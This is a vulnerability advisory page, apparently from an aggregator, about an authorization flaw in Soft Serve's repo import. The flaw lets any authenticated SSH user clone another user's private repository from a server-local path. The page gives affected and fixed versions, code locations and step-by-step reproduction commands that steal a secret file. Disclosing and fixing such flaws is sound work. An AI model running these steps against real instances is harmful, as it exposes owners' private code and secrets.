Loading advisory.
Loading advisory.
In Soft Serve, an authenticated repo import can clone server-local private repositories
An authorization flaw in repo import allows any authenticated SSH user to clone a server-local Git repository, including another user's private repo, into a new repository they control. This breaks the private-repository confidentiality boundary and should be treated as High severity.
Published 2026-03-19 19:27 UTC · Modified 2026-03-27 22:17 UTC
Severity and EPSS are shown separately. Helm does not combine them into one score. How tiers work
| Package | Ecosystem | Affected | Fixed in | Upgrade command |
|---|---|---|---|---|
| github.com/charmbracelet/soft-serve | Go | >= 0.6.0, < 0.11.6 | 0.11.6 | go get github.com/charmbracelet/soft-serve@v0.11.6 |
An authorization flaw in repo import allows any authenticated SSH user to clone a server-local Git repository, including another user's private repo, into a new repository they control. This breaks the private-repository confidentiality boundary and should be treated as High severity.
Repo import checks authorization only for the destination repository name, not for the source remote. The destination-side authorization comes from pkg/ssh/cmd/cmd.go:172, which calls pkg/backend/user.go:46. If the destination repo does not already exist, any authenticated user is granted ReadWriteAccess at pkg/backend/user.go:94.
The import command then passes the user-controlled REMOTE into pkg/backend/repo.go:102. In vulnerable HEAD, git.Clone(remote, rp, copts) is reached without validating that remote is actually a network remote. As a result, a user can supply a server filesystem path such as $DATA_PATH/repos/secret.git and cause the server to clone its own local bare repository into a new repo owned by the attacker.
The relevant vulnerable flow is:
Configuration:
Default local test configuration is sufficient.
SSH must be enabled.
At least two users are needed: one owner/admin and one low-privilege authenticated user.
Reproduction steps:
Start Soft Serve.
As an admin, create a private repo:
soft repo create secret -pCreate a second low-privilege user:
soft user create user1 --key "$USER1_AUTHORIZED_KEY"Seed the private repo with secret content:
git clone ssh://localhost:$SSH_PORT/secret secret
echo 'top secret' > secret/SECRET.txt
git -C secret add SECRET.txt
git -C secret commit -m 'first'
git -C secret push origin HEADConfirm the low-privilege user cannot access the private repo directly:
usoft repo info secretExpected result:
Error: repository not foundAs the low-privilege user, import the server-local bare repo path into a new repo:
usoft repo import stolen "$DATA_PATH/repos/secret.git" --lfs-endpoint http://example.comClone the attacker-controlled imported repo and read the secret:
ugit clone ssh://localhost:$SSH_PORT/stolen stolen-clone
cat stolen-clone/SECRET.txtExpected result:
top secretNotes:
The --lfs-endpoint value is needed to avoid later LFS endpoint handling rejecting the local-path import.
This is an authorization bypass and confidentiality issue.
Any authenticated SSH user on a multi-user Soft Serve instance can duplicate server-local Git repositories into new repositories they own, even when they are not a collaborator and direct access to the original private repo is denied. The primary impact is unauthorized disclosure of private source code and any secrets committed to those repositories.
Impacted parties:
Operators hosting Soft Serve for multiple users or teams
Owners of private repositories on the same instance
Any deployment where untrusted authenticated users can use repo import
Practical impact:
Theft of private source code
Disclosure of secrets committed to private repos
Exposure of unreleased or internal projects
Possible follow-on supply-chain risk if stolen code contains credentials or release material
No public exploit code known to Helm's sources (Nuclei templates, Metasploit, Exploit-DB and PoC-in-GitHub). That does not mean none exists.
EPSS went from 0.004 on 2026-11-24 to 0.005 on 2026-11-26, over 2 recorded scores.
| Date | Score | Previous | Model |
|---|---|---|---|
| 2026-11-24 | 0.004 | first score | v2026.06.15 |
| 2026-11-26 | 0.005 | 0.004 | v2026.06.15 |